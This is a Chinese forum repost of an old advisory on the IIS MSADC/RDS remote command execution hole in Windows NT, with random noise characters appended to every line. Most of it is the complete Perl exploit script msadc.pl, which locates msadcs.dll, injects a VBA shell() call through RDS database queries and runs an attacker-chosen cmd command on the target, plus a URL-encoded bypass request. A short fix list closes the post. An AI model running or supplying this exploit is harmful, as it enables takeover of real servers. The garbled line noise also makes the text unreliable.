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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) o4^|n1vN  
)V6Bzn}9  
涉及程序: ZM6`:/lc  
Microsoft NT server K+s@.D9J  
SU,#:s(  
描述: ^n@dC?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 5~pQ$-  
1 +0-VRl  
详细: >8* 0"Q  
如果你没有时间读详细内容的话,就删除: ef Moi'v  
c:\Program Files\Common Files\System\Msadc\msadcs.dll l\HLlwYO  
有关的安全问题就没有了。 O<RLw)nzg  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;v*J:Mn/=  
(}#8$ )  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 S`\03(zDA  
关于利用ODBC远程漏洞的描述,请参看: I1a>w=x!+  
XK";-7TZt  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =o!1}'1}}  
Q[wTV3d  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 xA&RMu&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp @MoBR.  
P<tHqN !q  
这里不再论述。 1GaM!OC9  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: lWR".  
|+aUy^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset KkIgyLM  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6XFLWN-)  
Bp7`W:?# "  
6w"_sK?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Ue=Je~Ri;9  
+=V[7^K;  
#!perl vGX}zzto  
# $$5E+UDOs  
# MSADC/RDS 'usage' (aka exploit) script Ik\n/EE  
# Z]QpH<Z  
# by rain.forest.puppy '&;s32']}  
# oy _DYop  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me <27:O,I  
# beta test and find errors! .:b&$~<  
 Fhk 8  
use Socket; use Getopt::Std; >iKbn  
getopts("e:vd:h:XR", \%args);  jO5,PTV  
OxC8xB;`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; <\fB+ AZ  
,\Q^[e!m~  
if (!defined $args{h} && !defined $args{R}) { pnpx`u;  
print qq~ !lnRl8oV  
Usage: msadc.pl -h <host> { -d <delay> -X -v } G2[? b2)8  
-h <host> = host you want to scan (ip or domain) )@Vz,f\}  
-d <seconds> = delay between calls, default 1 second k$ORVU  
-X = dump Index Server path table, if available \{@n >Mh  
-v = verbose Gkr]8J  
-e = external dictionary file for step 5 V?zCON  
T[L7-5U0  
Or a -R will resume a command session C5F=J8pY  
)&") J}@  
~; exit;} jY+u OH  
.,9e~6}  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; QyEGK  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} %0gcNk"=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }t FRl  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); S=@bb$4-T  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 7;i [  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } }<9IH%sgF  
] oMtqkiR  
if (!defined $args{R}){ $ret = &has_msadc; XH`W(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}  n$u@v(I  
Bs!F |x(  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" qj #C8Tc7  
. "cmd /c "; uE]Z,`e  
$in=<STDIN>; chomp $in; * q$O6B-  
$command="cmd /c " . $in ; &<>NP?j}  
XZ&cTjNB&  
if (defined $args{R}) {&load; exit;} ^aONuG9  
9 \lSN5W  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ? koIZ  
&try_btcustmr; DmA~Vj!a^y  
N+9W2n  
print "\nStep 2: Trying to make our own DSN..."; ?s-Z3{k  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \+T U{vr  
_pN:p7l(  
print "\nStep 3: Trying known DSNs..."; n([9U0!gu  
&known_dsn; )s~szmJoVD  
Sp]u5\  
print "\nStep 4: Trying known .mdbs..."; E|K|AdL  
&known_mdb; A0l-H/l7  
a`*Dq"9pV  
if (defined $args{e}){ Aw) I:d7F  
print "\nStep 5: Trying dictionary of DSN names..."; '~\\:37+  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } &*YFK/]  
)7jJ3G*  
print "Sorry Charley...maybe next time?\n"; xCYK"v6\  
exit; =A]*r9  
sd,KB+)  
############################################################################## ;xQNa}"V  
>>b <)?3Rv  
sub sendraw { # ripped and modded from whisker c.eUlr_ {  
sleep($delay); # it's a DoS on the server! At least on mine... Py~1xf/  
my ($pstr)=@_; 5kx-s6 `!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || b9Mp@I7Q-  
die("Socket problems\n"); r^v1_u, 1I  
if(connect(S,pack "SnA4x8",2,80,$target)){ oO4hBM([  
select(S); $|=1; /=K(5Xd  
print $pstr; my @in=<S>; G&z^AV  
select(STDOUT); close(S); /_D_W,#P  
return @in; 3Ow bU  
} else { die("Can't connect...\n"); }} t8ZzBD!dP  
8n"L4jb(:  
############################################################################## {bP )Fon  
53<.Knw5a  
sub make_header { # make the HTTP request p&$O}AX|  
my $msadc=<<EOT /_[?i"GW  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Z4s+8cTHn  
User-Agent: ACTIVEDATA WXs?2S*  
Host: $ip *w OU=1+  
Content-Length: $clen I R|[&}z  
Connection: Keep-Alive HPc~wX  
EpU}~vC9C  
ADCClientVersion:01.06 )_a;xB` S(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 WI6h G  
X8\UTHT& 0  
--!ADM!ROX!YOUR!WORLD! { u %xc"0y  
Content-Type: application/x-varg %}}?Y`/W )  
Content-Length: $reqlen wM1&_%N  
\&MJ(F>vJ  
EOT  &Sdf0"  
; $msadc=~s/\n/\r\n/g; [C`LKA$t  
return $msadc;} TFG0~"4Cz  
`V2doV)  
############################################################################## HJ+ Q7)  
-~Chf4?<4  
sub make_req { # make the RDS request t\XA JU  
my ($switch, $p1, $p2)=@_; dJF3]h Y  
my $req=""; my $t1, $t2, $query, $dsn; E"zC6iYZ;  
{` ByZB  
if ($switch==1){ # this is the btcustmr.mdb query }Y!v"DO#Q*  
$query="Select * from Customers where City=" . make_shell(); 5q;c=oRUj  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @gnLY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} jR2^n`D  
O~#A )d6  
elsif ($switch==2){ # this is general make table query HV=P! v6  
$query="create table AZZ (B int, C varchar(10))"; _-|+k  
$dsn="$p1";} & d_2WQ}  
L]* 5cH  
elsif ($switch==3){ # this is general exploit table query D4O^5?F)|  
$query="select * from AZZ where C=" . make_shell(); )8`i%2i=  
$dsn="$p1";} v|R#[vtFd  
) W/_2Q.  
elsif ($switch==4){ # attempt to hork file info from index server k![oJ.vHD  
$query="select path from scope()"; \OwCZ!`7i  
$dsn="Provider=MSIDXS;";} rtdEIk  
RpwDOG  
elsif ($switch==5){ # bad query eX$RD9 H  
$query="select"; kD me>E=  
$dsn="$p1";} i<{:J -U|  
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$t1= make_unicode($query); Q%:Z&lg y  
$t2= make_unicode($dsn); - VdCj%r>  
$req = "\x02\x00\x03\x00"; 9Cs/B*3)b  
$req.= "\x08\x00" . pack ("S1", length($t1)); g=$nNQ \6=  
$req.= "\x00\x00" . $t1 ; 1T}jK^"  
$req.= "\x08\x00" . pack ("S1", length($t2)); e^k)756  
$req.= "\x00\x00" . $t2 ; .#}A/V.-Y  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; CI1K:K AM  
return $req;} !n<SpW;  
v, !`A!{D  
############################################################################## *G8Z[ht%r  
X#o<))  
sub make_shell { # this makes the shell() statement -_M':  
return "'|shell(\"$command\")|'";} ^fj30gw7\5  
A_Y5{6@  
############################################################################## XzBlT( `w  
a Z8f>t1Q  
sub make_unicode { # quick little function to convert to unicode E(_lm&,4+  
my ($in)=@_; my $out; ^"iJ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } q)3QmA~  
return $out;} T>|Y_3YO_a  
D67z6jep(  
############################################################################## j dkqJ4&i  
6a704l%#hb  
sub rdo_success { # checks for RDO return success (this is kludge) E BSjU8  
my (@in) = @_; my $base=content_start(@in); tB`IBuy9!"  
if($in[$base]=~/multipart\/mixed/){ bO* hmDt  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} n?QglN  
return 0;} K7t_Q8  
= &^tfD  
##############################################################################  K{9  
.I]EP-  
sub make_dsn { # this makes a DSN for us %<|cWYM="z  
my @drives=("c","d","e","f"); 32Wa{LG;2  
print "\nMaking DSN: "; 7NkMr8[}F  
foreach $drive (@drives) { B r6tgoA  
print "$drive: "; iD<}r?Z  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !ScEA=  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" p }e| E!  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); OBf$Z"i  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; a@-bw4S D  
return 0 if $2 eq "404"; # not found/doesn't exist T^ - -:1  
if($2 eq "200") { 11%Zx3  
foreach $line (@results) { K j~!E H"  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} &7 9F Uac  
} return 0;} >D Ai-`e  
vDyGxU!#\  
############################################################################## d.Q<!Au3  
U ]7;K>.T  
sub verify_exists { *xN?5u%  
my ($page)=@_; 8Vy/n^3)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); "5v^6R9e  
return $results[0];} J&bMox  
:`c@&WF8  
############################################################################## ,u9 >c*Ss\  
})j N 8px  
sub try_btcustmr { <B'PB"R3y  
my @drives=("c","d","e","f");  tYG6Gl  
my @dirs=("winnt","winnt35","winnt351","win","windows"); = toU?:.  
2J (nJT"  
foreach $dir (@dirs) { )6%a9&~H  
print "$dir -> "; # fun status so you can see progress `Ue5;<K-/  
foreach $drive (@drives) { ;M"[dy`dY  
print "$drive: "; # ditto wEw;],ur  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; yH9&HFDp  
$reqlenlen=length( "$reqlen" ); ^\r{72!y  
$clen= 206 + $reqlenlen + $reqlen; ikO9p|J  
@k\,XV`T~t  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); iu$Y0.H@  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} _YN C}PUU  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g9Ty%|Q7(  
GcG$>&,  
############################################################################## {"*_++|  
4>/i,_&K K  
sub odbc_error { DPCQqV|7  
my (@in)=@_; my $base; iba8G]2  
my $base = content_start(@in); z /nW; ow  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this gGx<k3W^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `XM0Mm%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cYBjsN(!A|  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6!8uZ>u%Vg  
return $in[$base+4].$in[$base+5].$in[$base+6];} S4rm K&  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; NN5G '|i  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 0Hx'C^m72  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} _:FD#5BZ1  
E,fbIyX  
############################################################################## u>:j$@56  
+O)ZB$w4  
sub verbose { a5&[O  
my ($in)=@_; ?O"zp65d(  
return if !$verbose; ^gkKk&~A5?  
print STDOUT "\n$in\n";} Ec^2tx"=  
["e;8H[K)%  
############################################################################## +11 oVW  
KUC%Da3  
sub save { ..w$p-1  
my ($p1, $p2, $p3, $p4)=@_; "'XYW\bI  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; h>p,r\X  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; m}]QP\  
close OUT;} A|GsbRuy  
7%G&=8tq  
############################################################################## u$X =2u:P  
I}m>t}QRI_  
sub load { u68ic1  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; h)aLq  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =1xVw5^F  
@p=<IN>; close(IN); Cq3Au%7  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); cQsSJBZ[v5  
$target= inet_aton($ip) || die("inet_aton problems"); 'v=BAY=Ef  
print "Resuming to $ip ..."; ap,zC)[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; vu&ny&=`  
if($p[1]==1) { l<'}`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $`R=Q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; m)]|mYjju  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )@] W=  
if (rdo_success(@results)){print "Success!\n";} @1U6sQ  
else { print "failed\n"; verbose(odbc_error(@results));}} [z6P]eC7  
elsif ($p[1]==3){ Vt-V'`Y  
if(run_query("$p[3]")){ j,Qb'|f5  
print "Success!\n";} else { print "failed\n"; }} d,Oe3?][0p  
elsif ($p[1]==4){ v- p8~u1N  
if(run_query($drvst . "$p[3]")){ # %'%LY=  
print "Success!\n"; } else { print "failed\n"; }} RRzLQ7J  
exit;} ~#)9Kl7<X  
bJkFCI/  
############################################################################## 1lJ^$U  
02)Ybp6y  
sub create_table { /iJsa&W}  
my ($in)=@_; 2sVDv@2  
$reqlen=length( make_req(2,$in,"") ) - 28; OL^DuoB4q  
$reqlenlen=length( "$reqlen" ); ;iJ}[HUo  
$clen= 206 + $reqlenlen + $reqlen; 44KWS~  
my @results=sendraw(make_header() . make_req(2,$in,"")); j&b<YPZ  
return 1 if rdo_success(@results); Ns#L9T#  
my $temp= odbc_error(@results); verbose($temp); ]mjKF\  
return 1 if $temp=~/Table 'AZZ' already exists/; .'4@Yp{=  
return 0;} QUg<~q)Oq  
&vIj(e9Y  
############################################################################## >5zD0!bA  
9*Fc+/  
sub known_dsn { Y&y<WN}Q  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go \jS^+Xf?^  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", f# hmMa  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,u!_mV  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); W)Y:2P<.  
4VkJtu5  
foreach $dSn (@dsns) { Yp8XZ 3  
print "."; ,mKUCG  
next if (!is_access("DSN=$dSn")); 1^[]#N-Bu  
if(create_table("DSN=$dSn")){ NxB/U_j  
print "$dSn successful\n"; Mko,((>I1  
if(run_query("DSN=$dSn")){ }uO2 x@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }.=@^-JBA5  
print "Something's borked. Use verbose next time\n";}}} print "\n";} AJ6O>Euq  
}:1qK67S  
############################################################################## VTi; y{  
@&9< )1F  
sub is_access { ie7TO{W  
my ($in)=@_; Ct:c%D(L  
$reqlen=length( make_req(5,$in,"") ) - 28; Tz7R:S.  
$reqlenlen=length( "$reqlen" ); A2Iqn5  
$clen= 206 + $reqlenlen + $reqlen; T(k:\z/  
my @results=sendraw(make_header() . make_req(5,$in,"")); L Z3=K`gj  
my $temp= odbc_error(@results); E~8J<g E  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); n@S|^cH  
return 0;} Ie8SPNY-H  
q~X}&}UT  
############################################################################## B*^QTJ  
L:jv%;DM  
sub run_query { N ]GF>kf:  
my ($in)=@_; 5"+;}E|q  
$reqlen=length( make_req(3,$in,"") ) - 28; dbF9%I@  
$reqlenlen=length( "$reqlen" ); N'|9rB2e  
$clen= 206 + $reqlenlen + $reqlen; ZJ[p7XP  
my @results=sendraw(make_header() . make_req(3,$in,"")); 0 4oMgH>Vd  
return 1 if rdo_success(@results); XHY,;4  
my $temp= odbc_error(@results); verbose($temp); L rV|Y~  
return 0;} SL<EZn0F9  
`[x'EJp#  
############################################################################## B<~BX [  
y@Td]6|f  
sub known_mdb { 6']WOM#  
my @drives=("c","d","e","f","g"); qVd s 2  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )Rj?\ZUR  
my $dir, $drive, $mdb; '%a:L^a?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; {P%\& \{F  
("=24R=a  
# this is sparse, because I don't know of many ZKi?;ta=  
my @sysmdbs=( "\\catroot\\icatalog.mdb", I#W J";kqB  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", VY0-18 o  
"\\system32\\certmdb.mdb", s##XC^;p[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% T'N/A9{q  
v,US4C|^3i  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", g=Nde2d?  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ,ZnL38GW  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9v7}[`^  
"\\cfusion\\cfapps\\security\\realm_.mdb", >-(,BfZ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", B;Co`o2  
"\\cfusion\\database\\cfexamples.mdb", AQc9@3T~Bi  
"\\cfusion\\database\\cfsnippets.mdb", :r&4/sN}<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", msw=x0{n5  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", X"T)X#:)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", qf%p#+:B3  
"\\cfusion\\database\\smpolicy.mdb", VZ2CWE)t  
"\\cfusion\\database\cypress.mdb", / 6DW+!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", %y)LBSxf  
"\\website\\cgi-win\\dbsample.mdb", n5*m x7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", B5]nP .R  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" y"zZ9HQM  
); #these are just G52z5-=v  
foreach $drive (@drives) { ]YB,K)WQ  
foreach $dir (@dirs){ ~sCdvBA  
foreach $mdb (@sysmdbs) { % "ZC9uq?  
print "."; zZ8:>2Ps(  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ X u>]$+u#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; iF"kR]ZL  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ FXid=&T@0D  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; i"{znKz vD  
} else { print "Something's borked. Use verbose next time\n"; }}}}} rwAycW7  
 j 2e|  
foreach $drive (@drives) { P> 7PO~E.  
foreach $mdb (@mdbs) { U^OR\=G^  
print "."; )N&95\ u  
if(create_table($drv . $drive . $dir . $mdb)){ ; VQ:\f G  
print "\n" . $drive . $dir . $mdb . " successful\n"; L0ZAF2O  
if(run_query($drv . $drive . $dir . $mdb)){ &=lh Kt  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ` )~CT  
} else { print "Something's borked. Use verbose next time\n"; }}}} N2Cf(  
} !Eb!y`jK  
ul\FZT 4  
############################################################################## $u,`bX  
*,wW-8  
sub hork_idx { ~JOC8dO  
print "\nAttempting to dump Index Server tables...\n"; 8`q"] BQN  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; '^.3}N{Fo  
$reqlen=length( make_req(4,"","") ) - 28; oCB#i~|>a  
$reqlenlen=length( "$reqlen" ); w5a;ts_x  
$clen= 206 + $reqlenlen + $reqlen; <@qJsRbhK  
my @results=sendraw2(make_header() . make_req(4,"","")); s18A  
if (rdo_success(@results)){ Ia>~ph#]{`  
my $max=@results; my $c; my %d; :) T#.(mR  
for($c=19; $c<$max; $c++){ wgZ6|)!0  
$results[$c]=~s/\x00//g; /tqe:*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; kyUG+M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 7nbaR~ZV  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;  e:6mz\J  
$d{"$1$2"}="";} lq)[  
foreach $c (keys %d){ print "$c\n"; } cUU"*bA#  
} else {print "Index server doesn't seem to be installed.\n"; }} 7i9wfc h$U  
9 NqZ&S  
############################################################################## 4aG}ex-s|  
w-``kID  
sub dsn_dict { Oi~.z@@  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 0Y*Ag ,S  
while(<IN>){  Kuh)3/7  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `W4Is~VVv  
next if (!is_access("DSN=$dSn")); 6yMaW eT  
if(create_table("DSN=$dSn")){ #M:Vwn JX  
print "$dSn successful\n"; ^~m}(6  
if(run_query("DSN=$dSn")){ F=$U.K~1?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .c_qMTm"  
print "Something's borked. Use verbose next time\n";}}} Q_|Lv&  
print "\n"; close(IN);} .vpx@_;]9  
UFr5'T  
############################################################################## v t}A6mF  
oF5~|&C  
sub sendraw2 { # ripped and modded from whisker M V~3~h8  
sleep($delay); # it's a DoS on the server! At least on mine... [S[@ Q[zP@  
my ($pstr)=@_; VqdR  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +\MGlsMK@.  
die("Socket problems\n"); YHo*IX')C?  
if(connect(S,pack "SnA4x8",2,80,$target)){ =|q@ Q`DB  
print "Connected. Getting data"; P".rm0@R  
open(OUT,">raw.out"); my @in; \xOv9(  
select(S); $|=1; print $pstr; l`*R !\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Mog!pmc{  
close(OUT); select(STDOUT); close(S); return @in; (EOYJHZB!  
} else { die("Can't connect...\n"); }} Gv 6#LcF#  
k)S'@>n{u  
############################################################################## _(:bGI'.m  
x]|-2t  
sub content_start { # this will take in the server headers Ba;tEF{X  
my (@in)=@_; my $c; 2r#W#z%vS  
for ($c=1;$c<500;$c++) { Yf x'7gj  
if($in[$c] =~/^\x0d\x0a/){ ~ 6Hi"w  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]Hrw$\Ky  
else { return $c+1; }}} ?uqPye1fc  
return -1;} # it should never get here actually o1u?H4z  
4G=KyRKh  
############################################################################## O@,9a~Ghd  
:-1 i1d  
sub funky { );ZxKGjc4  
my (@in)=@_; my $error=odbc_error(@in); CrEC@5 j  
if($error=~/ADO could not find the specified provider/){ K=;oZYNd  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 9AZpvQ  
exit;} oF(|NS^  
if($error=~/A Handler is required/){ }&IOBYHVDo  
print "\nServer has custom handler filters (they most likely are patched)\n"; Uj> bWa`  
exit;} =7<g;u   
if($error=~/specified Handler has denied Access/){ AJ85[~(lX  
print "\nServer has custom handler filters (they most likely are patched)\n"; LW+^m6O  
exit;}} hN.{H:skL)  
lNqF@eCT9  
############################################################################## CWM_J9f  
7bx!A+, t  
sub has_msadc { |j7{zsH  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); $jv/00:&  
my $base=content_start(@results); xtRHb''FX  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Z66q0wR7  
return 0;} P}mn2Hs  
N(L?F):fT  
######################## )zq sn  
" IC0v9  
/}RW~ax  
解决方案: $rmfE  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Y+_t50 S  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 SHP_  
^`oyf{w@  
拿出来充数 哈哈
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